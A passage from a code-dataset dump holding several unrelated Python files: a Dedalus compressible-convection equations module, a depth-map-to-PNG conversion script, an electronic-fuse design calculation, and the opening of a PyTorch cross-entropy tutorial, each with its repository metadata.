analysis_scalar.add_task(\"vol_avg(IE)\", name=\"IE\")\n analysis_scalar.add_task(\"vol_avg(PE_fluc)\", name=\"PE_fluc\")\n analysis_scalar.add_task(\"vol_avg(IE_fluc)\", name=\"IE_fluc\")\n analysis_scalar.add_task(\"vol_avg(KE + PE + IE)\", name=\"TE\")\n analysis_scalar.add_task(\"vol_avg(KE + PE_fluc + IE_fluc)\", name=\"TE_fluc\")\n analysis_scalar.add_task(\"vol_avg(u_rms)\", name=\"u_rms\")\n analysis_scalar.add_task(\"vol_avg(w_rms)\", name=\"w_rms\")\n analysis_scalar.add_task(\"vol_avg(Re_rms)\", name=\"Re_rms\")\n analysis_scalar.add_task(\"vol_avg(Pe_rms)\", name=\"Pe_rms\")\n analysis_scalar.add_task(\"vol_avg(Ma_iso_rms)\", name=\"Ma_iso\")\n analysis_scalar.add_task(\"vol_avg(Ma_ad_rms)\", name=\"Ma_ad\")\n analysis_scalar.add_task(\"vol_avg(enstrophy)\", name=\"enstrophy\")\n analysis_scalar.add_task(\"vol_avg(Nusselt_G75)\", name=\"Nusselt_G75\")\n analysis_scalar.add_task(\"vol_avg(Nusselt_AB17)\", name=\"Nusselt_AB17\")\n analysis_scalar.add_task(\"vol_avg(Nusselt_norm_G75)\", name=\"Nusselt_norm_G75\")\n analysis_scalar.add_task(\"vol_avg(Nusselt_norm_AB17)\", name=\"Nusselt_norm_AB17\")\n analysis_scalar.add_task(\"log(left(plane_avg(rho_full))/right(plane_avg(rho_full)))\", name=\"n_rho\")\n analysis_scalar.add_task(\"integ(right(kappa_flux_z) - left(kappa_flux_z),'x')/Lx\",name=\"flux_equilibration\")\n analysis_scalar.add_task(\"integ((right(kappa_flux_z) - left(kappa_flux_z))/left(kappa_flux_z),'x')/Lx\",name=\"flux_equilibration_pct\")\n\n analysis_scalar.add_task(\"cz_vol_avg((Ma_ad_rms))\", name=\"cz_Ma_ad\")\n analysis_scalar.add_task(\"cz_vol_avg((Re_rms))\", name=\"cz_Re_rms\")\n analysis_scalar.add_task(\"cz_vol_avg((Nusselt_AB17))\", name=\"cz_Nu_AB17\")\n \n analysis_tasks['scalar'] = analysis_scalar\n\n if coeffs_output:\n analysis_coeff = solver.evaluator.add_file_handler(data_dir+\"coeffs\", max_writes=max_writes, parallel=False,\n mode=mode, **kwargs)\n analysis_coeff.add_task(\"s_fluc\", name=\"s\", layout='c')\n analysis_coeff.add_task(\"s_fluc - plane_avg(s_fluc)\", name=\"s'\", layout='c')\n analysis_coeff.add_task(\"T1+T0\", name=\"T\", layout='c')\n analysis_coeff.add_task(\"T1+T0 - plane_avg(T1+T0)\", name=\"T'\", layout='c')\n analysis_coeff.add_task(\"ln_rho1+ln_rho0\", name=\"ln_rho\", layout='c')\n analysis_coeff.add_task(\"ln_rho1+ln_rho0 - plane_avg(ln_rho1+ln_rho0)\", name=\"ln_rho'\", layout='c')\n analysis_coeff.add_task(\"u\", name=\"u\", layout='c')\n analysis_coeff.add_task(\"w\", name=\"w\", layout='c')\n analysis_coeff.add_task(\"enstrophy\", name=\"enstrophy\", layout='c')\n analysis_coeff.add_task(\"ω_y\", name=\"vorticity\", layout='c')\n analysis_tasks['coeff'] = analysis_coeff\n \n return analysis_tasks\n \nclass FC_equations_2d(FC_equations):\n def __init__(self, **kwargs):\n super(FC_equations_2d, self).__init__(**kwargs)\n self.equation_set = 'Fully Compressible (FC) Navier-Stokes'\n self.variables = ['u','u_z','w','w_z','T1', 'T1_z', 'ln_rho1']\n \n def _set_subs(self):\n # 2-D specific subs\n self.problem.substitutions['dy(A)'] = '(0*A)'\n \n # analysis operators\n if self.dimensions == 1:\n self.problem.substitutions['plane_avg(A)'] = '(A)'\n self.problem.substitutions['vol_avg(A)'] = 'integ(A)/Lz'\n else:\n self.problem.substitutions['plane_avg(A)'] = 'integ(A, \"x\")/Lx'\n self.problem.substitutions['vol_avg(A)'] = 'integ(A)/Lx/Lz'\n self.problem.substitutions['cz_vol_avg(A)'] = 'integ(cz_mask*A)/Lx/d_conv'\n\n self._set_operators()\n self._set_diffusion_subs()\n super(FC_equations_2d, self)._set_subs()\n \n def set_equations(self, Rayleigh, Prandtl,\n kx = 0,\n split_diffusivities=False):\n\n if self.dimensions == 1:\n self.problem.parameters['j'] = 1j\n self.problem.substitutions['dx(f)'] = \"j*kx*(f)\"\n self.problem.parameters['kx'] = kx\n \n self.problem.substitutions['v'] = '(0)'\n self.problem.substitutions['v_z'] = '(0)'\n\n self.split_diffusivities = split_diffusivities\n self._set_diffusivities(Rayleigh=Rayleigh, Prandtl=Prandtl,\n split_diffusivities=split_diffusivities)\n \n self._set_parameters()\n self._set_subs()\n \n self.problem.add_equation(\"dz(u) - u_z = 0\")\n self.problem.add_equation(\"dz(w) - w_z = 0\")\n self.problem.add_equation(\"dz(T1) - T1_z = 0\")\n \n logger.debug(\"Setting z-momentum equation\")\n self.problem.add_equation((\"(scale_momentum)*( dt(w) + T1_z + T0*dz(ln_rho1) + T1*del_ln_rho0 - L_visc_w) = \"\n \"(scale_momentum)*(-UdotGrad(w, w_z) - T1*dz(ln_rho1) + R_visc_w)\"))\n \n logger.debug(\"Setting x-momentum equation\")\n self.problem.add_equation((\"(scale_momentum)*( dt(u) + dx(T1) + T0*dx(ln_rho1) - L_visc_u) = \"\n \"(scale_momentum)*(-UdotGrad(u, u_z) - T1*dx(ln_rho1) + R_visc_u)\"))\n\n logger.debug(\"Setting continuity equation\")\n self.problem.add_equation((\"(scale_continuity)*( dt(ln_rho1) + w*del_ln_rho0 + Div_u ) = \"\n \"(scale_continuity)*(-UdotGrad(ln_rho1, dz(ln_rho1)))\"))\n\n\n logger.debug(\"Setting energy equation\")\n self.problem.add_equation((\"(scale_energy)*( dt(T1) + w*T0_z + (gamma-1)*T0*Div_u - L_thermal) = \"\n \"(scale_energy)*(-UdotGrad(T1, T1_z) - (gamma-1)*T1*Div_u + R_thermal + R_visc_heat + source_terms)\")) \n\n def initialize_output(self, solver, data_dir, coeffs_output=False,\n max_writes=20, mode=\"overwrite\", **kwargs):\n\n analysis_tasks = super().initialize_output(solver, data_dir, coeffs_output=coeffs_output, max_writes=max_writes, mode=mode, **kwargs)\n \n analysis_slice = solver.evaluator.add_file_handler(data_dir+\"slices\", max_writes=max_writes, parallel=False,\n mode=mode, **kwargs)\n analysis_slice.add_task(\"s_fluc\", name=\"s\")\n analysis_slice.add_task(\"s_fluc - plane_avg(s_fluc)\", name=\"s'\")\n analysis_slice.add_task(\"u\", name=\"u\")\n analysis_slice.add_task(\"w\", name=\"w\")\n analysis_slice.add_task(\"T1\", name=\"T1\")\n analysis_slice.add_task(\"ln_rho1\", name=\"ln_rho1\")\n analysis_slice.add_task(\"enstrophy\", name=\"enstrophy\")\n analysis_slice.add_task(\"ω_y\", name=\"vorticity\")\n analysis_tasks['slice'] = analysis_slice\n\n return analysis_tasks\n\n\nclass FC_equations_2d_kappa_mu(FC_equations_2d):\n\n def _set_diffusion_subs(self, bg_TE=True):\n \"\"\"\n Set substitutions for diffusion operators for a 2D system, where\n kappa and mu are NOT functions of time\n\n Note: thermal equilibrium implies that\n - κ∇^2 T0 - ∇κ·∇T0 = κ (IH),\n such that the background atmosphere works to cancel out the internal heating profile.\n\n Inputs:\n -------\n bg_TE - If True, assume that the background profile is in thermal equilibrium\n\n\n \"\"\"\n # define nu and chi for outputs\n self.problem.substitutions['nu'] = 'μ/rho_full' #rho0*exp(-ln_rho1)'\n self.problem.substitutions['chi'] = 'κ/rho_full' #rho0*exp(-ln_rho1)'\n \n self.problem.substitutions['L_visc_u'] = \" μ/rho0*(Lap(u, u_z) + 1/3*Div(dx(u), dx(v), dx(w_z)) + del_ln_μ*σxz)\"\n self.problem.substitutions['L_visc_v'] = \" μ/rho0*(Lap(v, v_z) + 1/3*Div(dy(u), dy(v), dy(w_z)) + del_ln_μ*σyz)\"\n self.problem.substitutions['L_visc_w'] = \" μ/rho0*(Lap(w, w_z) + 1/3*Div( u_z, dz(v), dz(w_z)) + del_ln_μ*σzz)\" \n \n if 'EVP' in self.problem_type:\n self.problem.substitutions['R_visc_u'] = \"0\"\n self.problem.substitutions['R_visc_v'] = \"0\"\n self.problem.substitutions['R_visc_w'] = \"0\"\n else:\n self.problem.substitutions['R_visc_u'] = \"L_visc_u*(exp(-ln_rho1)-1)\"\n self.problem.substitutions['R_visc_v'] = \"L_visc_v*(exp(-ln_rho1)-1)\"\n self.problem.substitutions['R_visc_w'] = \"L_visc_w*(exp(-ln_rho1)-1)\"\n\n self.problem.substitutions['κT0'] = \"(del_ln_κ*T0_z + T0_zz)\"\n self.problem.substitutions['κT1'] = \"(del_ln_κ*T1_z + Lap(T1, T1_z))\"\n \n if bg_TE:\n self.problem.substitutions['L_thermal'] = \" κ/rho0*Cv_inv*(κT1)\"\n self.problem.substitutions['source_terms'] = \" 0\" \n if 'EVP' in self.problem_type:\n self.problem.substitutions['R_thermal'] = \" 0 \"\n else:\n self.problem.substitutions['R_thermal'] = \" κ/rho0*Cv_inv*(κT1*(exp(-ln_rho1)-1))\"\n else:\n self.problem.substitutions['L_thermal'] = \" κ/rho0*Cv_inv*(κT0*-1*ln_rho1 + κT1)\"\n self.problem.substitutions['R_thermal'] = \" κ/rho0*Cv_inv*(κT0*(exp(-ln_rho1)+ln_rho1) + κT1*(exp(-ln_rho1)-1))\"\n self.problem.substitutions['source_terms'] = \" (κ*Cv_inv*IH/rho_full)\" \n self.problem.substitutions['R_visc_heat'] = \" μ/rho_full*Cv_inv*(dx(u)*σxx + dy(v)*σyy + w_z*σzz + σxy**2 + σxz**2 + σyz**2)\"\n\n self.problem.substitutions['kappa_flux_mean'] = '-κ*dz(T0)'\n self.problem.substitutions['kappa_flux_fluc'] = '-κ*dz(T1)'\n self.problem.substitutions['kappa_flux_superad'] = '((kappa_flux_mean) + (kappa_flux_fluc) - κ*g/Cp)'\n\n def _set_diffusivities(self, *args, **kwargs):\n super(FC_equations_2d_kappa_mu, self)._set_diffusivities(*args, **kwargs)\n self.kappa = self._new_ncc()\n self.chi.set_scales(1, keep_data=True)\n self.rho0.set_scales(1, keep_data=True)\n self.kappa['g'] = self.chi['g']*self.rho0['g']\n self.problem.parameters['κ'] = self.kappa\n if self.constant_kappa:\n self.problem.substitutions['del_ln_κ'] = '0'\n else:\n self.del_ln_kappa = self._new_ncc()\n self.kappa.differentiate('z', out=self.del_ln_kappa)\n self.del_ln_kappa['g'] /= self.kappa['g']\n self.problem.parameters['del_ln_κ'] = self.del_ln_kappa\n self.mu = self._new_ncc()\n self.mu['g'] = self.nu['g']*self.rho0['g']\n self.problem.parameters['μ'] = self.mu\n if self.constant_mu:\n self.problem.substitutions['del_ln_μ'] = '0'\n else:\n self.del_ln_mu = self._new_ncc()\n self.mu.differentiate('z', out=self.del_ln_mu)\n self.del_ln_mu['g'] /= self.mu['g']\n self.problem.parameters['del_ln_μ'] = self.del_ln_mu\n \n def set_thermal_BC(self, fixed_flux=None, fixed_temperature=None, mixed_flux_temperature=None, mixed_temperature_flux=None):\n if not(fixed_flux) and not(fixed_temperature) and not(mixed_temperature_flux) and not(mixed_flux_temperature):\n mixed_flux_temperature = True\n \n # thermal boundary conditions\n if fixed_flux:\n logger.info(\"Thermal BC: fixed flux (full form)\")\n self.problem.add_bc( \"left(T1_z) = 0\")\n self.problem.add_bc(\"right(T1_z) = 0\")\n self.dirichlet_set.append('T1_z')\n elif fixed_temperature:\n logger.info(\"Thermal BC: fixed temperature (T1)\")\n self.problem.add_bc( \"left(T1) = 0\")\n self.problem.add_bc(\"right(T1) = 0\")\n self.dirichlet_set.append('T1')\n elif mixed_flux_temperature:\n logger.info(\"Thermal BC: fixed flux/fixed temperature\")\n self.problem.add_bc(\"left(T1_z) = 0\")\n self.problem.add_bc(\"right(T1) = 0\")\n self.dirichlet_set.append('T1_z')\n self.dirichlet_set.append('T1')\n elif mixed_temperature_flux:\n logger.info(\"Thermal BC: fixed temperature/fixed flux\")\n self.problem.add_bc(\"left(T1) = 0\")\n self.problem.add_bc(\"right(T1_z) = 0\")\n self.dirichlet_set.append('T1_z')\n self.dirichlet_set.append('T1')\n else:\n logger.error(\"Incorrect thermal boundary conditions specified\")\n raise\n\nclass FC_equations_3d(FC_equations):\n def __init__(self, **kwargs):\n super(FC_equations_3d, self).__init__(**kwargs)\n self.equation_set = 'Fully Compressible (FC) Navier-Stokes in 3-D'\n self.variables = ['u','u_z','v','v_z','w','w_z','T1', 'T1_z', 'ln_rho1']\n \n def _set_subs(self, **kwargs): \n # analysis operators\n if self.dimensions != 1:\n self.problem.substitutions['plane_avg(A)'] = 'integ(A, \"x\", \"y\")/Lx/Ly'\n self.problem.substitutions['vol_avg(A)'] = 'integ(A)/Lx/Ly/Lz'\n self.problem.substitutions['cz_vol_avg(A)'] = 'integ(cz_mask*A)/Lx/Ly/d_conv'\n else:\n self.problem.substitutions['plane_avg(A)'] = 'A'\n self.problem.substitutions['vol_avg(A)'] = 'integ(A)/Lz'\n \n self._set_operators()\n self._set_diffusion_subs()\n super(FC_equations_3d, self)._set_subs(**kwargs)\n \n def set_equations(self, Rayleigh, Prandtl, Taylor=None, theta=0,\n kx = 0, ky = 0,\n split_diffusivities=False):\n \n if self.dimensions == 1:\n self.problem.parameters['j'] = 1j\n self.problem.substitutions['dx(f)'] = \"j*kx*(f)\"\n self.problem.parameters['kx'] = kx\n self.problem.substitutions['dy(f)'] = \"j*ky*(f)\"\n self.problem.parameters['ky'] = ky\n\n self.split_diffusivities = split_diffusivities\n self._set_diffusivities(Rayleigh=Rayleigh, Prandtl=Prandtl, split_diffusivities=split_diffusivities)\n self._set_parameters()\n self._set_subs()\n \n if Taylor:\n self.rotating = True\n self.problem.parameters['θ'] = theta\n self.problem.parameters['Ω'] = omega = np.sqrt(Taylor*self.nu_top**2/(4*self.Lz**4))\n logger.info(\"Rotating f-plane with Ω = {} and θ = {} (Ta = {})\".format(omega, theta, Taylor))\n self.problem.substitutions['Ωx'] = '0'\n self.problem.substitutions['Ωy'] = 'Ω*sin(θ)'\n self.problem.substitutions['Ωz'] = 'Ω*cos(θ)'\n self.problem.substitutions['Coriolis_x'] = '(2*Ωy*w - 2*Ωz*v)'\n self.problem.substitutions['Coriolis_y'] = '(2*Ωz*u - 2*Ωx*w)'\n self.problem.substitutions['Coriolis_z'] = '(2*Ωx*v - 2*Ωy*u)'\n self.problem.substitutions['Rossby'] = '(sqrt(enstrophy)/(2*Ω))'\n else:\n self.rotating = False\n self.problem.substitutions['Coriolis_x'] = '0'\n self.problem.substitutions['Coriolis_y'] = '0'\n self.problem.substitutions['Coriolis_z'] = '0'\n \n self.problem.add_equation(\"dz(u) - u_z = 0\")\n self.problem.add_equation(\"dz(v) - v_z = 0\")\n self.problem.add_equation(\"dz(w) - w_z = 0\")\n self.problem.add_equation(\"dz(T1) - T1_z = 0\")\n\n logger.debug(\"Setting continuity equation\")\n self.problem.add_equation((\"(scale_continuity)*( dt(ln_rho1) + w*del_ln_rho0 + Div_u ) = \"\n \"(scale_continuity)*(-UdotGrad(ln_rho1, dz(ln_rho1)))\"))\n\n logger.debug(\"Setting z-momentum equation\")\n self.problem.add_equation((\"(scale_momentum)*( dt(w) + Coriolis_z + T1_z + T0*dz(ln_rho1) + T1*del_ln_rho0 - L_visc_w) = \"\n \"(scale_momentum)*(-T1*dz(ln_rho1) - UdotGrad(w, w_z) + R_visc_w)\"))\n \n logger.debug(\"Setting x-momentum equation\")\n self.problem.add_equation((\"(scale_momentum)*( dt(u) + Coriolis_x + dx(T1) + T0*dx(ln_rho1) - L_visc_u) = \"\n \"(scale_momentum)*(-T1*dx(ln_rho1) - UdotGrad(u, u_z) + R_visc_u)\"))\n\n logger.debug(\"Setting y-momentum equation\")\n self.problem.add_equation((\"(scale_momentum)*( dt(v) + Coriolis_y + dy(T1) + T0*dy(ln_rho1) - L_visc_v) = \"\n \"(scale_momentum)*(-T1*dy(ln_rho1) - UdotGrad(v, v_z) + R_visc_v)\"))\n\n logger.debug(\"Setting energy equation\")\n self.problem.add_equation((\"(scale_energy)*( dt(T1) + w*T0_z + (gamma-1)*T0*Div_u - L_thermal) = \"\n \"(scale_energy)*(-UdotGrad(T1, T1_z) - (gamma-1)*T1*Div_u + R_thermal + R_visc_heat + source_terms)\"))\n \n\n def set_BC(self, **kwargs): \n super(FC_equations_3d, self).set_BC(**kwargs)\n # stress free boundary conditions.\n self.problem.add_bc(\"left(v_z) = 0\")\n self.problem.add_bc(\"right(v_z) = 0\")\n self.dirichlet_set.append('v_z')\n for key in self.dirichlet_set:\n self.problem.meta[key]['z']['dirichlet'] = True\n\n \n def initialize_output(self, solver, data_dir, coeffs_output=False, volumes_output=False,\n max_writes=20, mode=\"overwrite\", **kwargs):\n\n analysis_tasks = super().initialize_output(solver, data_dir, coeffs_output=coeffs_output, max_writes=max_writes, mode=mode, **kwargs)\n \n analysis_slice = solver.evaluator.add_file_handler(data_dir+\"slices\", max_writes=max_writes, parallel=False,\n mode=mode, **kwargs)\n analysis_slice.add_task(\"interp(s_fluc, y={})\".format(self.Ly/2), name=\"s\")\n analysis_slice.add_task(\"interp(s_fluc - plane_avg(s_fluc), y={})\".format(self.Ly/2), name=\"s'\")\n analysis_slice.add_task(\"interp(enstrophy, y={})\".format(self.Ly/2), name=\"enstrophy\")\n analysis_slice.add_task(\"interp(ω_y, y={})\".format(self.Ly/2), name=\"vorticity\")\n analysis_slice.add_task(\"interp(s_fluc, z={})\".format(0.95*self.Lz), name=\"s near top\")\n analysis_slice.add_task(\"interp(s_fluc - plane_avg(s_fluc), z={})\".format(0.95*self.Lz), name=\"s' near top\")\n analysis_slice.add_task(\"interp(enstrophy, z={})\".format(0.95*self.Lz), name=\"enstrophy near top\")\n analysis_slice.add_task(\"interp(ω_z, z={})\".format(0.95*self.Lz), name=\"vorticity_z near top\")\n analysis_slice.add_task(\"interp(s_fluc, z={})\".format(0.5*self.Lz), name=\"s midplane\")\n analysis_slice.add_task(\"interp(s_fluc - plane_avg(s_fluc), z={})\".format(0.5*self.Lz), name=\"s' midplane\")\n analysis_slice.add_task(\"interp(enstrophy, z={})\".format(0.5*self.Lz), name=\"enstrophy midplane\")\n analysis_slice.add_task(\"interp(ω_z, z={})\".format(0.5*self.Lz), name=\"vorticity_z midplane\")\n analysis_tasks['slice'] = analysis_slice\n\n if volumes_output:\n analysis_volume = solver.evaluator.add_file_handler(data_dir+\"volumes\", max_writes=max_writes, parallel=False, \n mode=mode, **kwargs)\n analysis_volume.add_task(\"enstrophy\", name=\"enstrophy\")\n analysis_volume.add_task(\"s_fluc+s_mean\", name=\"s_tot\")\n analysis_tasks['volume'] = analysis_volume\n\n if self.rotating:\n analysis_scalar = analysis_tasks['scalar']\n analysis_scalar.add_task(\"vol_avg(Rossby)\", name=\"Rossby\")\n\n analysis_profile = analysis_tasks['profile']\n analysis_profile.add_task(\"plane_avg(Rossby)\", name=\"Rossby\")\n \n return analysis_tasks\n \n\n", "repo_name": "evanhanders/predicting_rossby_paper2018", "sub_path": "code/stratified_dynamics/equations.py", "file_name": "equations.py", "file_ext": "py", "file_size_in_byte": 53133, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 51, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI.COMM_WORLD", "line_number": 51, "usage_type": "attribute"}, {"api_name": "mpi4py.MPI", "line_number": 51, "usage_type": "name"}, {"api_name": "dedalus.public.Chebyshev", "line_number": 76, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 76, "usage_type": "name"}, {"api_name": "dedalus.public.Compound", "line_number": 80, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 80, "usage_type": "name"}, {"api_name": "dedalus.public.Chebyshev", "line_number": 83, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 83, "usage_type": "name"}, {"api_name": "dedalus.public.Fourier", "line_number": 86, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 86, "usage_type": "name"}, {"api_name": "dedalus.public.Fourier", "line_number": 88, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 88, "usage_type": "name"}, {"api_name": "dedalus.public.Domain", "line_number": 98, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 98, "usage_type": "name"}, {"api_name": "dedalus.public.IVP", "line_number": 124, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 124, "usage_type": "name"}, {"api_name": "dedalus.public.EVP", "line_number": 135, "usage_type": "call"}, {"api_name": "dedalus.public", "line_number": 135, "usage_type": "name"}, {"api_name": "numpy.random.RandomState", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 178, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 518, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 518, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 539, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 553, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 891, "usage_type": "call"}]} {"seq_id": "17272860446", "text": "\nimport configargparse\nimport os\nimport sys\n\nfrom threading import Thread\nfrom PIL import Image\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom PIL import Image as im\nfrom tqdm import tqdm\n\nparser = configargparse.ArgParser(description='Transform depth maps to images')\nparser.add_argument('--save_path', type=str,\n default='',\n help='path to save the images')\nparser.add_argument('--depth_path', type=str,\n default='',\n help='path to read the depth files')\n\nargs = parser.parse_args()\n\ndef main():\n\n\n if not os.path.exists(args.save_path):\n os.mkdir(args.save_path)\n\n depth_files = sorted(os.path.join(args.depth_path,d_file) for d_file in os.listdir(args.depth_path) if d_file.endswith('.npy'))\n \n\n x = Thread(target=process_depth_files,\n args=(depth_files[:int(np.ceil(len(depth_files)*0.25))],args.save_path,))\n y = Thread(target=process_depth_files,\n args=(depth_files[int(np.ceil(len(depth_files)*0.25)):int(np.ceil(len(depth_files)*0.5))],args.save_path,))\n z = Thread(target=process_depth_files,\n args=(depth_files[int(np.ceil(len(depth_files)*0.5)):int(np.ceil(len(depth_files)*0.75))],args.save_path,))\n w = Thread(target=process_depth_files,\n args=(depth_files[int(np.ceil(len(depth_files)*0.75)):],args.save_path,))\n\n x.start()\n y.start()\n z.start()\n w.start()\n \n\n\n\ndef process_depth_files(source_depth, dest_folder):\n # Transform npy depth into rgb depth image with kitti format\n\n tqdm_iter = tqdm(source_depth,total=len(source_depth))\n\n for f_path in tqdm_iter:\n \n f = np.load(f_path)\n file_name = f_path.split('/')[-1].split('.')[0]\n \n # f[f > 100] = 0\n f[f == -1] = 0\n f = f*256.\n\n f = Image.fromarray(f.astype('uint16'))\n \n f.save(os.path.join(dest_folder,f_path.split('/')[-1].split('.')[0]+'.png'))\n\n\n\n# def depth_read(filename):\n# # loads depth map D from png file\n# # and returns it as a numpy array,\n# # for details see readme.txt\n\n# depth_png = np.array(Image.open(filename), dtype=int)\n# # make sure we have a proper 16bit depth map here.. not 8bit!\n# assert(np.max(depth_png) > 255)\n# print(np.mean(depth_png))\n\n# depth = depth_png.astype(np.float) / 256.\n# depth[depth_png == 0] = -1.\n# return depth\n\nif __name__ == '__main__':\n main()\n\n", "repo_name": "miguelag99/3d-detection-pipeline", "sub_path": "utils/depth_evaluation/depth_img_utils.py", "file_name": "depth_img_utils.py", "file_ext": "py", "file_size_in_byte": 2386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "configargparse.ArgParser", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 32, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 36, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 38, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 40, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 42, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 59, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 66, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 66, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}]} {"seq_id": "74923016221", "text": "import pint\nimport numpy as np\nfrom scipy import signal\n\n\ndef efuse16a():\n \"\"\"\n Cálculo de fusible electrónico (y limitador de corriente de in-rush)\n hasta 16A.\n\n Basado en LM5069 de Texas Instruments.\n \"\"\"\n units = pint.UnitRegistry()\n\n # Temperatura máxima de operación (rango comercial)\n Ta_max = 70 * units.delta_degC\n\n # Rango de tensión de entrada\n Vi_min = 9 * units.V\n Vi_max = 27 * units.V\n\n # Corriente media máxima\n Ilim = 16 * units.A\n\n # Cálculo de resistencia de sensado de corriente\n Rsns = round((48.5 * units.mV / Ilim).to(units.mΩ))\n\n # Cálculo de potencia límite y resistencia de configuración\n Plim_min = (5 * units.mV * Vi_max / Rsns).to(units.W)\n Rpwr_budget = (\n 1.3e5 * Rsns * (Plim_min - 1.18 * units.mV * Vi_max / Rsns) / units.W\n ).to(units.kΩ)\n Rpwr = 9.1 * units.kΩ\n Plim = (Rpwr * units.W / (1.3e5 * Rsns) + 1.18 * units.mV * Vi_max / Rsns).to(units.W)\n\n # Cálculo de capacitor para limitar el tiempo de operación al límite de potencia.\n Cout_budget = 8.2 * units.mF\n t_start_budget = (Cout_budget/2 * (Vi_max**2/Plim + Plim/Ilim**2)).to(units.ms)\n Ctimer_budget = (1.5 * t_start_budget * 85 * units.uA / (4 * units.V)).to(units.uF)\n Ctimer = 3.3 * units.uF\n\n t_fault = (Ctimer * 4 * units.V / (85 * units.uA)).to(units.ms)\n\n # Cálculo de switch\n\n ## Se utiliza IPB042N10\n Rds_on = 4.2 * units.mΩ\n ### Resistencia térmica con un pad de disipación de 1in²\n Rja_th = 23.3 * units.delta_degC / units.W\n Tj_max = 175 * units.delta_degC\n Pdc = (Ilim**2 * Rds_on).to(units.W)\n Tj = Ta_max + Pdc * Rja_th\n assert Tj < Tj_max, Tj\n\n ## Verificación de SOA\n SOAm = np.log(7 * units.A / (3 * units.A)) / np.log(10 * units.ms / (1 * units.s))\n SOAa = 7 * units.A / (10 * units.ms)**SOAm\n Tj_start = Ta_max + (Plim / Vi_max)**2 * Rds_on * Rja_th\n I_max = SOAa * t_fault**SOAm * (Tj_max - Tj_start) / (Tj_max - 25 * units.delta_degC)\n assert I_max > Plim / Vi_max\n\n # Cálculo de resistencias para establecer límites de alta\n # y baja tensión (es decir, over- y under-voltage)\n Vuv = 250 * units.mV\n Vuv_h = Vi_min\n Vuv_l = Vuv_h - Vuv\n Vov_h = Vi_max\n\n R1 = (Vuv / (21 * units.uA)).to(units.kΩ)\n R3 = 2.5 * units.V * R1 * Vuv_l / (Vov_h * (Vuv_l - 2.5 * units.V))\n R2 = 2.5 * units.V * R1 / (Vuv_l - 2.5 * units.V) - R3\n\n R1 = 12 * units.kΩ\n R3 = 1.5 * units.kΩ\n R2 = 3.3 * units.kΩ\n\n Vov = ((R1 + R2) * 21 * units.uA).to(units.mV)\n\n # Se utiliza SMBJ30A como TVS\n # Se utiliza MBRB1645 como diodo\n\n print('\\n'.join(\n '{} = {}'.format(name, value)\n for name, value in locals().items()\n if isinstance(value, (float, units.Quantity, np.ndarray))\n ))\n\n\nif __name__ == '__main__':\n efuse16a()\n", "repo_name": "hidmic/airi-hw", "sub_path": "design/electrical/calc/efuse16a.py", "file_name": "efuse16a.py", "file_ext": "py", "file_size_in_byte": 2842, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pint.UnitRegistry", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 85, "usage_type": "attribute"}]} {"seq_id": "36747537632", "text": "# pytorch_learning_16_cross_entropy\n#\n# entropy：表达不确定性\n# entropy = -SUM{P(i) * log(P(i))}\n# uncertainty ++, entropy --\n# 来自于哪个变量的不确定性越大，即各个变量的概率越均衡，熵越大\n# 概率存在明显的偏移，则蕴含的信息越多，熵越低\nimport torch\nfrom torch.nn import functional as F\n\n# entropy = -SUM{P(i) * log(P(i))}\na = torch.full([4], 1/4)\nb = torch.tensor([0.1, 0.1, 0.1, 0.7])\nc = torch.tensor([0.001, 0.001, 0.001, 0.997])\n\nprint(-(a * torch.log2(a)).sum()) # tensor(2.)\nprint(-(b * torch.log2(b)).sum()) # tensor(1.3568)\nprint(-(c * torch.log2(c)).sum()) # tensor(0.0342)\n\n\n# cross entropy = -SUM{P(i) * log(Q(i))}\n# H(p,q) = H(p) + D_kl(p|q) (D_kl(p|q) 表示两个分布的差异)\n# P = Q 时，H(p,q) = H(p)\n# 预测用one-hot进行编码时，H(p,q) = D_kl(p|q) (1log1=0)\n\n# e.g. 二分类问题\n# H(p,q) = - a * logb - (1 - a) * 